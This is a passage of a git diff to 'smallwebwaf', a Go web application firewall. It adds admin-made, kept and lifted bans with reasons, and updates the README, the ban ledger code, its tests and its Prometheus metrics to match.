make or keep, are kept besides, and never dropped. `bans.json` shows + the bans and their notes, a restart lifts none, and you make, keep or lift a + ban by editing it (see "State files" below). - Checks each request against the rules of the rule files (see "Rule files" below) after the rate limits, and before its body is read. A `log` rule that matches is noted in the log line; a `block` rule refuses the request with @@ -263,8 +266,8 @@ it, and the effective settings are logged at start. would be longer is permanent instead. - `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of attack. -- `SWWAF_MAX_BANS` (default `5000`): the most bans kept, past, active and - permanent. +- `SWWAF_MAX_BANS` (default `5000`): the most bans `smallwebwaf` made that are + kept, past, active and permanent. The bans you make or keep are kept besides. - `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): the length of the netblock around an IPv4 client that a ban covers, such as `24` to ban the surrounding /24. An IPv6 ban covers the client's /64. @@ -458,9 +461,14 @@ them. [`SPEC.md`](SPEC.md) describes. Each has a top-level `version`, 1, and lists its entries by client address, with times in UTC. -- `bans.json`: every ban with its notes, indented to be read; a permanent ban's - `expires` is `null`, and a ban `smallwebwaf` made has the `cause` `limit` for - a broken rate limit or `attack` for a clear sign of attack. +- `bans.json`: every ban with its notes, indented to be read. A permanent ban's + `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit or + `attack` for a clear sign of attack, for a ban `smallwebwaf` made, and `admin` + for one you made or keep. Its `reason` is a short text: for a ban + `smallwebwaf` made, the limit broken, such as + `requests per minute over the limit of 1000`, or the rule that matched, such + as `matched the rule env-file`; for yours, what you wrote. Its `lifted` is + when you lifted it, and is left out until you do. - `clients.json`: each client's two buckets in the minute, the hour and the day, and its history: when it was first and last seen, its country as last looked up and when, its requests, how many were forwarded and how many refused (one @@ -492,8 +500,8 @@ without a field it needs, named with the entry's place in the file: a ban's `netblock`, `start` or `expires`, which is `null` for a permanent ban; a client's `client`, or the `start` of a window in which it has requests; an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or -`answered`. So does a ban whose `cause` is neither `limit` nor `attack`. The AS -number and AS name come with their lookup. +`answered`. So does a ban whose `cause` is not `limit`, `attack` or `admin`. The +AS number and AS name come with their lookup. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -511,10 +519,12 @@ before the editor has finished writing it. Mend the `.bad` file and move it back. A file you remove is written again at its next write. To ban a netblock, add an entry to `bans.json` with its `netblock`, its `start` -and its `expires`, `null` for a ban that never ends; its `cause` and its `notes` -may be left out. A ban whose `cause` is `attack` becomes permanent at the first -request it refuses; one without a cause does not. This `bans.json` bans -`203.0.113.0/24` for good: +and its `expires`, `null` for a ban that never ends; its `reason` and its +`notes` may be left out, and so may its `cause`, which is then `admin`, and is +written so at the file's next write. A ban whose `cause` is `admin` is never +dropped and does not count toward `SWWAF_MAX_BANS`. A ban whose `cause` is +`attack` becomes permanent at the first request it refuses; one whose `cause` is +`admin` does not. This `bans.json` bans `203.0.113.0/24` for good: ```json { @@ -523,14 +533,22 @@ request it refuses; one without a cause does not. This `bans.json` bans { "netblock": "203.0.113.0/24", "start": "2026-10-06T12:00:00Z", - "expires": null + "expires": null, + "reason": "probes for logins" } ] } ``` -To lift a ban, delete its entry. `smallwebwaf` then forgets the ban, so it does -not make the netblock's next ban longer. +To keep a ban `smallwebwaf` made, so that it is never dropped, set its `cause` +to `admin`: `"cause": "admin"`. + +To lift a ban, add `lifted` to its entry, with the time you lift it, such as +`"lifted": "2026-10-06T13:00:00Z"`. From when the edit is taken in, the ban +refuses nothing, whatever time `lifted` gives, and does not make the netblock's +next ban longer; it is kept in `bans.json` with its notes, as any other ban is. +To forget a ban altogether, delete its entry: it then refuses nothing either, +and does not make the netblock's next ban longer. ## Rule files @@ -624,8 +642,10 @@ other request. No metric carries a client's address. - `smallwebwaf_rate_limit_hits_total` by `window`, `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose limit was passed, `smallwebwaf_offences_total` by `kind`, and - `smallwebwaf_bans_made_total` by `cause`, `limit` or `attack`; - `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`. + `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack` or `admin`, the + last for the bans whose `cause` is `admin` that you add to `bans.json` while + `smallwebwaf` runs; `smallwebwaf_active_bans` and + `smallwebwaf_permanent_bans`, neither of which counts a lifted ban. - `smallwebwaf_rule_matches_total`: the requests that matched each rule, by `rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the rules read from the rule files. @@ -954,7 +974,7 @@ addresses are never sent to GeoJS. happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how long a new ban lasts, when a ban for a clear sign of attack becomes permanent, - and which ban is dropped when `SWWAF_MAX_BANS` are held. + and which ban `smallwebwaf` made is dropped when `SWWAF_MAX_BANS` are held. - `internal/rules`: reads the rule files at start and again as they change, and tells which of their rules a request matches. - `internal/lookup`: looks up each client's country through GeoJS, and keeps the @@ -977,8 +997,9 @@ addresses are never sent to GeoJS. checks. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the -table of clients to 20,000, the GeoJS answers to 100,000 and the banned -netblocks to `SWWAF_MAX_BANS`, dropping the least recently seen, and +table of clients to 20,000 and the GeoJS answers to 100,000, dropping the least +recently seen, and the banned netblocks in the order they were last seen, from +which the ledger picks the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang` keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file or a rule file is saved. The country codes are the list in `internal/config/config.go`. diff --git a/internal/bans/admin_test.go b/internal/bans/admin_test.go new file mode 100644 index 0000000..abeb990 --- /dev/null +++ b/internal/bans/admin_test.go @@ -0,0 +1,186 @@ +package bans_test + +import ( + "net/netip" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" +) + +func TestBanWithoutACauseIsAnAdmins(t *testing.T) { + t.Parallel() + + netblock := netip.MustParsePrefix("203.0.113.0/24") + ledger := bans.New(defaultRules()) + ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}}) + + if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin { + t.Errorf("the ban's cause is %q, want admin", got) + } +} + +func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) { + t.Parallel() + + rules := defaultRules() + rules.MaxBans = 1 + ledger := bans.New(rules) + adminsOnly := netip.MustParsePrefix("198.51.100.0/24") + both := netip.MustParsePrefix("203.0.113.1/32") + second := netip.MustParsePrefix("203.0.113.2/32") + third := netip.MustParsePrefix("203.0.113.3/32") + + // Seen longest ago, a netblock with two of an admin's bans alone, and + // then one with an admin's ban before a ban smallwebwaf made: the one + // ban counted toward MaxBans. + ledger.Load([]bans.Ban{ + {Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin}, + {Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin}, + {Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin}, + { + Netblock: both, + Start: midnight(), + Expires: midnight().Add(time.Hour), + Cause: bans.CauseLimit, + }, + }) + wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2}) + + // A new ban drops the ban smallwebwaf made, and only that one. + ledger.BanForLimit(second, midnight(), bans.Notes{}) + wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1}) + + if ledger.Bans(both)[0].Cause != bans.CauseAdmin { + t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both)) + } + + // And the next drops that one. + ledger.BanForLimit(third, midnight(), bans.Notes{}) + wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1}) +} + +func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + + limit := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), + bans.Notes{Limit: 1000, Window: "minute"}) + attack := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(), + bans.Notes{RuleID: "git-dir", Target: "path"}) + + for _, tc := range []struct{ got, want string }{ + {limit.Reason, "requests per minute over the limit of 1000"}, + {attack.Reason, "matched the rule git-dir"}, + } { + if tc.got != tc.want { + t.Errorf("the reason is %q, want %q", tc.got, tc.want) + } + } +} + +func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) { + t.Parallel() + + // An hour's ban lifted ten minutes after it started. + netblock := netip.MustParsePrefix("203.0.113.9/32") + lifted := bans.Ban{ + Netblock: netblock, + Start: midnight(), + Expires: midnight().Add(time.Hour), + Cause: bans.CauseLimit, + Lifted: midnight().Add(10 * time.Minute), + } + + ledger := bans.New(defaultRules()) + ledger.Load([]bans.Ban{lifted}) + + // While it would still last, it refuses nothing, and a limit broken + // bans for an hour, as a first broken limit does; the lifted ban is + // kept, and counted among the earlier bans. + now := midnight().Add(30 * time.Minute) + + _, banned := ledger.Check(netblock.Addr(), now) + if banned { + t.Error("the lifted ban refuses") + } + + ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + if ban.Expires.Sub(ban.Start) != time.Hour || + ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { + t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", + ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans) + } + + held := ledger.Bans(netblock) + if len(held) != 2 || held[0] != lifted { + t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held) + } +} + +func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) { + t.Parallel() + + // A permanent ban for a clear sign of attack, lifted. + netblock := netip.MustParsePrefix("203.0.113.9/32") + ledger := bans.New(defaultRules()) + ledger.Load([]bans.Ban{{ + Netblock: netblock, + Start: midnight(), + Cause: bans.CauseAttack, + Lifted: midnight().Add(time.Hour), + }}) + + now := midnight().Add(2 * time.Hour) + + _, banned := ledger.Find(netblock.Addr(), now) + if banned { + t.Error("the lifted ban refuses") + } + + active, permanent := ledger.Count(now) + if active != 0 || permanent != 0 { + t.Errorf("%d bans are active and %d permanent, want none", active, permanent) + } + + // The next clear sign of attack bans for seven days, as a first does. + ban := ledger.BanForAttack(netblock, now, bans.Notes{}) + if ban.Expires.Sub(ban.Start) != 7*day { + t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires) + } +} + +func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + made := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), + bans.Notes{}) + atStart := bans.Ban{ + Netblock: netip.MustParsePrefix("203.0.113.2/32"), + Start: midnight(), + } + + // The bans read at the start were made before it. + ledger.Load([]bans.Ban{made, atStart}) + + if got := ledger.Made(bans.CauseAdmin); got != 0 { + t.Fatalf("%d bans made by an admin after the start's, want none", got) + } + + // The admin keeps the ban smallwebwaf made, keeps the one read at the + // start, and adds one without a cause: that one alone is made. + kept := made + kept.Cause = bans.CauseAdmin + added := bans.Ban{ + Netblock: netip.MustParsePrefix("203.0.113.3/32"), + Start: midnight(), + } + ledger.LoadEdit([]bans.Ban{kept, atStart, added}) + + if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 { + t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each", + ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit)) + } +} diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 5bccf15..2b66842 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -1,11 +1,13 @@ // Package bans is the ban ledger: the bans smallwebwaf makes on the // netblocks of clients that break a rate limit or show a clear sign of -// attack, with their notes, as the "Bans" section of SPEC.md describes. -// The bans are kept in memory, and written to bans.json and read from it -// by the state package. +// attack, and those an admin makes, with their notes, as the "Bans" +// section of SPEC.md describes. The bans are kept in memory, and written +// to bans.json and read from it by the state package. package bans import ( + "fmt" + "math" "net/netip" "slices" "strings" @@ -15,13 +17,15 @@ import ( "github.com/hashicorp/golang-lru/v2/simplelru" ) -// The causes of the bans smallwebwaf makes. A ban an admin adds to -// bans.json may have no cause. +// The causes of bans. const ( - // CauseLimit is a ban for a broken limit. + // CauseLimit is a ban smallwebwaf made for a broken limit. CauseLimit = "limit" - // CauseAttack is a ban for a clear sign of attack. + // CauseAttack is a ban smallwebwaf made for a clear sign of attack. CauseAttack = "attack" + // CauseAdmin is a ban an admin made, or one smallwebwaf made that an + // admin keeps. It is never dropped. + CauseAdmin = "admin" ) // repeatFactor is how many times as long as the netblock's last ban a ban @@ -46,9 +50,10 @@ type Rules struct { // AttackBanDuration is how long a first ban for a clear sign of attack // lasts. AttackBanDuration time.Duration - // MaxBans is the most bans held, at least one. Past it, the earliest - // ban of the netblock that has gone longest without a request is - // dropped. + // MaxBans is the most bans held whose cause is not CauseAdmin, at + // least one. Past it, the earliest such ban of the netblock that has + // gone longest without a request is dropped. Bans whose cause is + // CauseAdmin are held besides, and never dropped. MaxBans int } @@ -58,10 +63,16 @@ type Ban struct { Start time.Time // Expires is when the ban ends, zero for a permanent ban. Expires time.Time - // Cause is CauseLimit or CauseAttack, or "" for a ban an admin added - // without one. + // Cause is CauseLimit, CauseAttack or CauseAdmin. Cause string - Notes Notes + // Reason is a short text: for a ban smallwebwaf made, the limit broken + // or the rule that matched; for an admin's, what the admin wrote. + Reason string + // Lifted is when an admin lifted the ban, zero while no admin has. A + // lifted ban refuses nothing, and does not make the netblock's next + // ban longer. + Lifted time.Time + Notes Notes } // Permanent reports whether the ban never runs out. @@ -69,9 +80,10 @@ func (b Ban) Permanent() bool { return b.Expires.IsZero() } -// ActiveAt reports whether the ban refuses requests at now. +// ActiveAt reports whether the ban refuses requests at now: it has not +// been lifted, and has not run out. func (b Ban) ActiveAt(now time.Time) bool { - return b.Permanent() || now.Before(b.Expires) + return b.Lifted.IsZero() && (b.Permanent() || now.Before(b.Expires)) } // Notes are what an admin needs to decide whether to lift a ban. The @@ -107,13 +119,10 @@ type Notes struct { } // EarlierBans counts a netblock's bans before a ban, by cause. -// -//nolint:tagliatelle // the state files use snake_case, as the request log does type EarlierBans struct { Limit int `json:"limit"` Attack int `json:"attack"` - // WithoutCause counts the bans an admin added without a cause. - WithoutCause int `json:"without_cause"` + Admin int `json:"admin"` } // Request is a request in a ban's notes. Each text is cut to 256 bytes. @@ -141,9 +150,11 @@ type Ledger struct { // netblocks holds each banned netblock's bans, oldest first. Check and // Find make each netblock they find the most recently seen. netblocks *simplelru.LRU[netip.Prefix, *[]Ban] - // held is how many bans netblocks holds, at most rules.MaxBans. + // held is how many bans netblocks holds whose cause is not CauseAdmin, + // at most rules.MaxBans. held int - // made is how many bans the ledger has made since the start, by cause. + // made is how many bans have been made since the start, by cause: by + // the ledger, and by an admin in an edit of bans.json. made map[string]int // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // netblocks that have been banned. Check looks for a ban at each of @@ -155,9 +166,10 @@ type Ledger struct { // New returns a Ledger with no ban yet. func New(rules Rules) *Ledger { - // Every netblock held has a ban, so there are never more netblocks - // than rules.MaxBans, and the LRU never drops one itself. - netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](rules.MaxBans, nil) + // The ledger drops bans itself, and never those whose cause is + // CauseAdmin, however many there are, so the LRU has no limit of its + // own: it keeps the netblocks in the order they were last seen. + netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil) if err != nil { panic(err) // NewLRU fails only for a size below one } @@ -233,21 +245,26 @@ func activeBan(bans []Ban, now time.Time) *Ban { // BanForLimit bans netblock at now for a broken limit, with notes, and // returns the ban. A first ban lasts LimitBanDuration. A ban made within // LimitBanRepeatWindow after the netblock's ban that ended last, other -// than one for a clear sign of attack, lasts repeatFactor times as long as -// that one. A ban that would be longer than MaxBanDuration is permanent -// instead. If a ban on netblock is still active, as when two of its -// requests break a limit at once, that ban is returned and no other is -// made. The ledger fills in the notes' Refused and EarlierBans itself. +// than one for a clear sign of attack or a lifted one, lasts repeatFactor +// times as long as that one. A ban that would be longer than +// MaxBanDuration is permanent instead. If a ban on netblock is still +// active, as when two of its requests break a limit at once, that ban is +// returned and no other is made. The ledger fills in the notes' Refused +// and EarlierBans itself, and gives the ban the reason "requests per +// over the limit of ", from the notes. func (l *Ledger) BanForLimit(netblock netip.Prefix, now time.Time, notes Notes) Ban { - return l.ban(netblock, now, CauseLimit, notes) + reason := fmt.Sprintf("requests per %s over the limit of %d", + notes.Window, notes.Limit) + + return l.ban(netblock, now, CauseLimit, reason, notes) } // BanForAttack bans netblock at now for a clear sign of attack, with // notes, and returns the ban, as BanForLimit does. A first ban lasts -// AttackBanDuration; once the netblock has had one, the next is -// permanent. +// AttackBanDuration; once the netblock has had one that was not lifted, +// the next is permanent. Its reason is "matched the rule ". func (l *Ledger) BanForAttack(netblock netip.Prefix, now time.Time, notes Notes) Ban { - return l.ban(netblock, now, CauseAttack, notes) + return l.ban(netblock, now, CauseAttack, "matched the rule "+notes.RuleID, notes) } // Bans returns the bans held on netblock, oldest first. It is not a @@ -264,8 +281,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { return slices.Clone(*bans) } -// Made returns how many bans for cause the ledger has made since the -// start; bans read from bans.json are not among them. +// Made returns how many bans for cause have been made since the start: +// for CauseLimit and CauseAttack, by the ledger; for CauseAdmin, by an +// admin in an edit of bans.json, as LoadEdit counts them. The bans read +// from bans.json at the start are not among them. func (l *Ledger) Made(cause string) int { l.mu.Lock() defer l.mu.Unlock() @@ -274,7 +293,7 @@ func (l *Ledger) Made(cause string) int { } // Count returns how many of the bans held are active at now, and how many -// are permanent. +// of those are permanent. A lifted ban is neither. func (l *Ledger) Count(now time.Time) (int, int) { l.mu.Lock() defer l.mu.Unlock() @@ -283,10 +302,12 @@ func (l *Ledger) Count(now time.Time) (int, int) { for _, bans := range l.netblocks.Values() { for _, ban := range *bans { - if ban.ActiveAt(now) { - active++ + if !ban.ActiveAt(now) { + continue } + active++ + if ban.Permanent() { permanent++ } @@ -314,36 +335,81 @@ func (l *Ledger) Snapshot() []Ban { return held } -// Load puts bans read from bans.json into the ledger, in place of the -// bans it holds, in the order they started, so that a netblock whose last -// ban started latest counts as the most recently seen. Each netblock is -// masked to its length, so that 203.0.113.9/24 is 203.0.113.0/24, and -// each text in the notes is cut to 256 bytes. Past MaxBans the earliest -// bans are dropped, as when they are made. +// Load puts bans read from bans.json at the start into the ledger, in +// place of the bans it holds, in the order they started, so that a +// netblock whose last ban started latest counts as the most recently +// seen. A ban without a cause is an admin's, and gets CauseAdmin. Each +// netblock is masked to its length, so that 203.0.113.9/24 is +// 203.0.113.0/24, and each text in the notes is cut to 256 bytes. Past +// MaxBans the earliest bans whose cause is not CauseAdmin are dropped, as +// when they are made. func (l *Ledger) Load(bans []Ban) { + l.mu.Lock() + defer l.mu.Unlock() + + l.load(bans) +} + +// LoadEdit is Load for an admin's edit of bans.json, taken in while +// smallwebwaf runs. Each ban in it whose cause is CauseAdmin, and which +// the ledger did not hold, with the same netblock and start, is one the +// admin made, and is counted among the bans made. +func (l *Ledger) LoadEdit(bans []Ban) { + l.mu.Lock() + defer l.mu.Unlock() + + l.made[CauseAdmin] += l.load(bans) +} + +// load does what Load describes, and returns how many of bans are bans +// whose cause is CauseAdmin that the ledger did not hold before. +func (l *Ledger) load(bans []Ban) int { bans = slices.Clone(bans) + added := 0 + + for i := range bans { + ban := &bans[i] + ban.Netblock = ban.Netblock.Masked() + ban.Notes.Request = ban.Notes.Request.cut() + + if ban.Cause == "" { + ban.Cause = CauseAdmin + } + + if ban.Cause == CauseAdmin && !l.holds(ban.Netblock, ban.Start) { + added++ + } + } + slices.SortStableFunc(bans, func(a, b Ban) int { return a.Start.Compare(b.Start) }) - l.mu.Lock() - defer l.mu.Unlock() - l.netblocks.Purge() l.held = 0 l.v4Lengths, l.v6Lengths = nil, nil for _, ban := range bans { - ban.Netblock = ban.Netblock.Masked() - ban.Notes.Request = ban.Notes.Request.cut() l.add(ban) } + + return added } -// ban bans netblock at now for cause, with notes, as BanForLimit and -// BanForAttack describe, and returns the ban. +// holds reports whether the ledger holds a ban on netblock that started +// at start. +func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool { + bans, found := l.netblocks.Peek(netblock) + + return found && slices.ContainsFunc(*bans, func(ban Ban) bool { + return ban.Start.Equal(start) + }) +} + +// ban bans netblock at now for cause, with reason and notes, as +// BanForLimit and BanForAttack describe, and returns the ban. func (l *Ledger) ban( - netblock netip.Prefix, now time.Time, cause string, notes Notes, + netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, ) Ban { l.mu.Lock() defer l.mu.Unlock() @@ -363,7 +429,7 @@ func (l *Ledger) ban( } notes.Request = notes.Request.cut() - ban := Ban{Netblock: netblock, Start: now, Cause: cause, Notes: notes} + ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes} if cause == CauseAttack { ban.Expires = l.attackExpiry(held, now) @@ -391,8 +457,8 @@ func earlierBans(held []Ban) EarlierBans { earlier.Limit++ case CauseAttack: earlier.Attack++ - default: - earlier.WithoutCause++ + case CauseAdmin: + earlier.Admin++ } } @@ -431,9 +497,11 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { } // add adds ban to its netblock's bans, after the last, and makes its -// netblock the most recently seen. With MaxBans held, it drops one first. +// netblock the most recently seen. With MaxBans held, it drops one first, +// unless ban's cause is CauseAdmin, which does not count toward MaxBans. func (l *Ledger) add(ban Ban) { - if l.held == l.rules.MaxBans { + counted := ban.Cause != CauseAdmin + if counted && l.held == l.rules.MaxBans { l.dropOne() } @@ -446,7 +514,10 @@ func (l *Ledger) add(ban Ban) { } *bans = append(*bans, ban) - l.held++ + + if counted { + l.held++ + } lengths := &l.v6Lengths if ban.Netblock.Addr().Is4() { @@ -461,16 +532,17 @@ func (l *Ledger) add(ban Ban) { // limitExpiry returns when a ban for a broken limit made at now ends, or // zero when it is permanent. held are the netblock's bans, none of them // active, of which the one that ended last, other than a ban for a clear -// sign of attack, can make the new ban longer. A ban an admin adds to -// bans.json can start after another and end before it, so that one is -// looked for among them all. +// sign of attack or a lifted one, can make the new ban longer. A ban an +// admin adds to bans.json can start after another and end before it, so +// that one is looked for among them all. func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { length := l.rules.LimitBanDuration var last *Ban for i, ban := range held { - if ban.Cause != CauseAttack && (last == nil || ban.Expires.After(last.Expires)) { + if ban.Cause != CauseAttack && ban.Lifted.IsZero() && + (last == nil || ban.Expires.After(last.Expires)) { last = &held[i] } } @@ -495,11 +567,11 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { // attackExpiry returns when a ban for a clear sign of attack made at now // ends. held are the netblock's bans, none of them active: if one of them -// is for a clear sign of attack too, the new ban is permanent, and its -// end zero; otherwise it ends AttackBanDuration later. +// is for a clear sign of attack too, and was not lifted, the new ban is +// permanent, and its end zero; otherwise it ends AttackBanDuration later. func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time { for _, ban := range held { - if ban.Cause == CauseAttack { + if ban.Cause == CauseAttack && ban.Lifted.IsZero() { return time.Time{} } } @@ -507,17 +579,39 @@ func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time { return now.Add(l.rules.AttackBanDuration) } -// dropOne drops the earliest ban of the netblock that has gone longest -// without a request, and the netblock with it if that was its only ban. +// dropOne drops the earliest ban whose cause is not CauseAdmin of the +// netblock that has gone longest without a request, of those that hold +// such a ban, and the netblock with it if that was its only ban. It is +// called with at least one such ban held. It looks at each netblock once +// at most, and drops nothing when none holds such a ban. func (l *Ledger) dropOne() { - netblock, bans, _ := l.netblocks.GetOldest() - if len(*bans) == 1 { - l.netblocks.Remove(netblock) - } else { - *bans = slices.Delete(*bans, 0, 1) - } + for range l.netblocks.Len() { + netblock, bans, _ := l.netblocks.GetOldest() - l.held-- + i := slices.IndexFunc(*bans, func(ban Ban) bool { + return ban.Cause != CauseAdmin + }) + if i < 0 { + // Its bans are all an admin's, and never dropped. Get makes + // it the most recently seen, so that the next netblock is + // looked at; when it was seen matters only for dropping a + // ban, and a ban added to it makes it the most recently seen + // anyway. + l.netblocks.Get(netblock) + + continue + } + + if len(*bans) == 1 { + l.netblocks.Remove(netblock) + } else { + *bans = slices.Delete(*bans, i, i+1) + } + + l.held-- + + return + } } // cut returns r with each text cut to maxTextBytes and copied, so that diff --git a/internal/bans/snapshot_test.go b/internal/bans/snapshot_test.go index 7db1c44..2cd1470 100644 --- a/internal/bans/snapshot_test.go +++ b/internal/bans/snapshot_test.go @@ -173,7 +173,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { t.Parallel() // A 9-hour ban smallwebwaf made, the third in a row, and an admin's - // 1-hour ban added to bans.json over it, with no notes. + // 1-hour ban added to bans.json over it, with no cause and no notes. netblock := netip.MustParsePrefix("203.0.113.9/32") nineHours := bans.Ban{ Netblock: netblock, @@ -193,13 +193,12 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { // Once both have ended, a limit broken within the repeat window bans // for three times the 9 hours, and the notes count the two bans - // before the 9-hour one and it, for a limit, and the admin's, without - // a cause. + // before the 9-hour one and it, for a limit, and the admin's. ban := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{}) if ban.Expires.Sub(ban.Start) != 27*time.Hour || - ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, WithoutCause: 1}) { + ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { t.Errorf("the next ban lasts %s with earlier bans %+v, "+ - "want 27h, 3 for a limit and 1 without a cause", + "want 27h, 3 for a limit and 1 an admin's", ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans) } } @@ -208,10 +207,15 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) { t.Parallel() // bans.json lists the bans by netblock, not in the order they began. - later := bans.Ban{Netblock: netip.MustParsePrefix("203.0.113.1/32"), Start: midnight()} + later := bans.Ban{ + Netblock: netip.MustParsePrefix("203.0.113.1/32"), + Start: midnight(), + Cause: bans.CauseLimit, + } earlier := bans.Ban{ Netblock: netip.MustParsePrefix("203.0.113.2/32"), Start: midnight().Add(-time.Hour), + Cause: bans.CauseLimit, } rules := defaultRules() @@ -233,9 +237,17 @@ func TestLoadReplacesTheBansHeld(t *testing.T) { rules := defaultRules() rules.MaxBans = 3 ledger := bans.New(rules) - kept := bans.Ban{Netblock: netip.MustParsePrefix("2001:db8::/64"), Start: midnight()} + kept := bans.Ban{ + Netblock: netip.MustParsePrefix("2001:db8::/64"), + Start: midnight(), + Cause: bans.CauseLimit, + } ledger.Load([]bans.Ban{ - {Netblock: netip.MustParsePrefix("203.0.113.0/24"), Start: midnight()}, + { + Netblock: netip.MustParsePrefix("203.0.113.0/24"), + Start: midnight(), + Cause: bans.CauseLimit, + }, kept, }) diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 96acb0a..7629500 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -144,7 +144,7 @@ func New(topN int) *Metrics { func (m *Metrics) AddBansAndClients( ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time, ) { - for _, cause := range []string{bans.CauseLimit, bans.CauseAttack} { + for _, cause := range []string{bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin} { m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ Name: "smallwebwaf_bans_made_total", Help: "Bans made, by cause.", @@ -165,7 +165,7 @@ func (m *Metrics) AddBansAndClients( }), prometheus.NewGaugeFunc(prometheus.GaugeOpts{ Name: "smallwebwaf_permanent_bans", - Help: "Permanent bans.", + Help: "Permanent bans not lifted.", }, func() float64 { _, permanent := ledger.Count(now()) diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index 889a2ce..397f993 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -279,6 +279,7 @@ func TestBanNotes(t *testing.T) { Start: start, Expires: start.Add(time.Hour), Cause: bans.CauseLimit, + Reason: "requests per minute over the limit of 1", Notes: bans.Notes{ Country: "DE", Limit: 1, diff --git a/internal/proxy/metrics_test.go b/internal/proxy/metrics_test.go index 6765f2e..01aeae6 100644 --- a/internal/proxy/metrics_test.go +++ b/internal/proxy/metrics_test.go @@ -12,6 +12,7 @@ import ( "testing" "time" + "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/requestlog" @@ -243,6 +244,29 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { wantMetric(t, metrics, "smallwebwaf_tracked_clients", 3) } +func TestMetricsCountTheBansAnAdminMakes(t *testing.T) { + t.Parallel() + + const scraper = "192.0.2.200" // in SWWAF_RATE_LIMIT_EXEMPT_NETS + + s, clk, server := startWithClock(t, "", map[string]string{ + metricsToken: token, + rateLimitExemptNets: scraper, + }) + + const admins = `smallwebwaf_bans_made_total{cause="admin"}` + + wantMetric(t, s.scrape(scraper), admins, 0) + + // As an admin's edit of bans.json that adds a ban is taken in. + server.Ledger.LoadEdit([]bans.Ban{{ + Netblock: netip.MustParsePrefix(client + "/32"), + Start: clk.Now(), + }}) + + wantMetric(t, s.scrape(scraper), admins, 1) +} + func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { t.Parallel() diff --git a/internal/proxy/observe_test.go 